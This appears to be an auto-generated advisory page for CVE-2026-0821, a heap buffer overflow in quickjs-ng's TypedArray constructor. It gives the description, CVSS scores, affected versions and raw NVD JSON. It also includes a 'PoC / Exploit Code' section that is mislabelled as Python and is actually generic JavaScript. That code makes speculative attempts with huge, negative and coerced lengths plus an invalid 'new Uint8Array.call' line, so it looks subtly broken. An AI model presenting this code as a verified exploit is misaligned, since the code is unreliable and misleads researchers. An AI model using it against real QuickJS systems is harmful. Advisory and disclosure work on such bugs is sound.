Security Vulnerability Report
中文
CVE-2026-0821 CVSS 7.3 HIGH

CVE-2026-0821

Published: 2026-01-10 13:15:49
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was determined in quickjs-ng quickjs up to 0.11.0. This vulnerability affects the function js_typed_array_constructor of the file quickjs.c. Executing a manipulation can lead to heap-based buffer overflow. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. This patch is called c5d80831e51e48a83eab16ea867be87f091783c5. A patch should be applied to remediate this issue.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:quickjs-ng:quickjs:*:*:*:*:*:*:*:* - VULNERABLE
quickjs-ng quickjs <= 0.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-0821 PoC - quickjs-ng quickjs heap buffer overflow in js_typed_array_constructor // Affected: quickjs-ng quickjs <= 0.11.0 // CVSS: 7.3 (High) // This PoC demonstrates triggering heap buffer overflow via TypedArray manipulation // Note: This is a simplified PoC for demonstration purposes function triggerHeapOverflow() { try { // Attempt to create TypedArray with invalid parameters // that may trigger buffer overflow in js_typed_array_constructor // Method 1: Large length parameter const largeArray = new Uint8Array(0x7FFFFFFF); // Method 2: TypedArray with negative or zero length const negArray = new Int32Array(-1); // Method 3: Subarray with out-of-bounds offset const buffer = new ArrayBuffer(1024); const view = new Uint8Array(buffer); const subView = new Uint8Array(buffer, 0, {valueOf: () => 0xFFFFFFFF}); // Method 4: TypedArray constructor with manipulated prototype chain const maliciousTypedArray = new Uint8Array.call(null, 0xFFFFFFFF); console.log('Potential overflow triggered'); } catch (e) { console.log('Error occurred:', e.message); } } // Execute the PoC triggerHeapOverflow(); // To verify: Compile quickjs with ASAN/UBSAN and run this PoC // Expected: AddressSanitizer will detect heap-buffer-overflow // $ gcc -fsanitize=address -o quickjs quickjs.c // $ ./quickjs poc.js

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0821", "sourceIdentifier": "[email protected]", "published": "2026-01-10T13:15:49.040", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in quickjs-ng quickjs up to 0.11.0. This vulnerability affects the function js_typed_array_constructor of the file quickjs.c. Executing a manipulation can lead to heap-based buffer overflow. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. This patch is called c5d80831e51e48a83eab16ea867be87f091783c5. A patch should be applied to remediate this issue."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en quickjs-ng quickjs hasta 0.11.0. Esta vulnerabilidad afecta a la función js_typed_array_constructor del archivo quickjs.c. La ejecución de una manipulación puede llevar a un desbordamiento de búfer basado en montículo. El ataque puede lanzarse remotamente. El exploit ha sido divulgado públicamente y puede utilizarse. Este parche se llama c5d80831e51e48a83eab16ea867be87f091783c5. Debe aplicarse un parche para remediar este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:quickjs-ng:quickjs:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.11.0", "matchCriteriaId": "99E7BDDC-5F85-4D2D-A0FE-87E837B594D3"}]}]}], "references": [{"url": "https://github.com/quickjs-ng/quickjs/", "source": "[email protected]"}, {"url": "https://github.com/quickjs-ng/quickjs/commit/c5d80831e51e48a83eab16ea867be87f091783c5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/quickjs-ng/quickjs/issues/1296", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", " ... (truncated)